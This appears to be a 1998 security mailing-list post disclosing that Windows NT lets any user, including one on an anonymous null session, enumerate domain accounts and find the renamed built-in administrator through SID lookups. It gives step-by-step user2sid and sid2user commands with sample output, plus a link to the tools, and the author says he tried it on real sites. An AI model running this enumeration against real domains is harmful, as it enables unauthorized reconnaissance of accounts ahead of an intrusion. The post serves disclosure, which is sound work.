From: Evgenii Borisovich Rudnyi
Sent: Tuesday, April 28, 1998 3:22 PM
To: NTBUGTRAQ@LISTSERV.NTBUGTRAQ.COM
Subject: name of built-in administrator
While learning what SID is, I have written two utilities, user2sid and
sid2user, which are actually command line interfaces to WIN32 functions,
LookupAccountName and LookupAccountSid. So, no hacking, just what is
permitted by MS.
Now, it happens that to use these function a user have just to be
EVERYONE. It means that an ordinary user can find without a problem a
built-in domain administrator name, which MS recommends us to rename
from administrator to something else (see for example, course 803,
Administrating Windows NT 4.0).
Assuming that user's computer is in the domain, the task is solved by
two steps.
1) Looking up a SID of any domain account, for example Domain Users
user2sid "domain users"
S-1-5-21-201642981-56263093-24269216-513
Now we know all the subauthorities for the current domain. All the
domain account SIDs are different by the last number only (so called
RID).
2) Looking up an built-in administrator name (RID is always 500)
sid2user 5 21 201642981 56263093 24269216 500
Name is SmallUser
Domain is DomainName
Type of SID is SidTypeUser
3) Now it is possible to look up all the domain accounts from the very
first one (RID = 1000 for the first account, 1001 for the second and so
on, RIDs are never used again for the current installation).
sid2user 5 21 201642981 56263093 24269216 1000
sid2user 5 21 201642981 56263093 24269216 1001
...
It should be interesting for everyone to know the history of developing
the domain account database.
Well, this is not the end of the story. The anonymous logon is also in
the EVERYONE group. This means that actually it is possible to find out
who is a built-in administrator and to see the history of the SAM at any
domain into which you can run the anonymous session. Note that anonymous
sessions are not audited by logon/logoff category.
I have tried it here on several MS APEC and SD centers. It happens that
none of their administrators has bothered to disable netbios ports. So,
below is an example of what you can learn provided the netbios ports are
open (the listing is fictional).
nslookup www.xyz.com
Non-authoritative answer:
Name: www.xyz.com
Address: 131.107.2.200
net use \\131.107.2.200\ipc$ "" /user:""
The command completed successfully.
user2sid \\131.107.2.200 "domain users"
S-1-5-21-201642981-56263093-24269216-513
Number of subauthorities is 5
Domain is XYZ_domain
Length of SID in memory is 28 bytes
Type of SID is SidTypeGroup
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 500
Name is XYZAdmin
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1000
Name is
Domain is XYZ_domain
Type of SID is SidTypeDeletedAccount
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1001
Name is Simpson
Domain is XYZ_domain
Type of SID is SidTypeUser
sid2user \\131.107.2.200 5 21 201642981 56263093 24269216 1112
LookupSidName failed - no such account
SP3 does not prevent this to happen (at least without further manual
editing the registry).
As I see it, it is not a bug. I have made nothing illegal, just
following the WIN32 manual. Thus, this is the feature.
For those who would like to try it, the utilities can be found at my
homepages
http://www.chem.msu.su/~rudnyi/NT/sid.zip
The file is about 50 Kb, the link may be slow though. I give them to
public domain, feel free to publish them from your servers if you want
it to.
Good hunting,
Evgenii Rudnyi
--
Chemistry Department rudnyi@comp.chem.msu.su
Moscow State University http://www.chem.msu.su/~rudnyi/welcome.html
119899 Moscow +7(095)939 5452, f�
- 1
- 2
- 3
- 4
前往页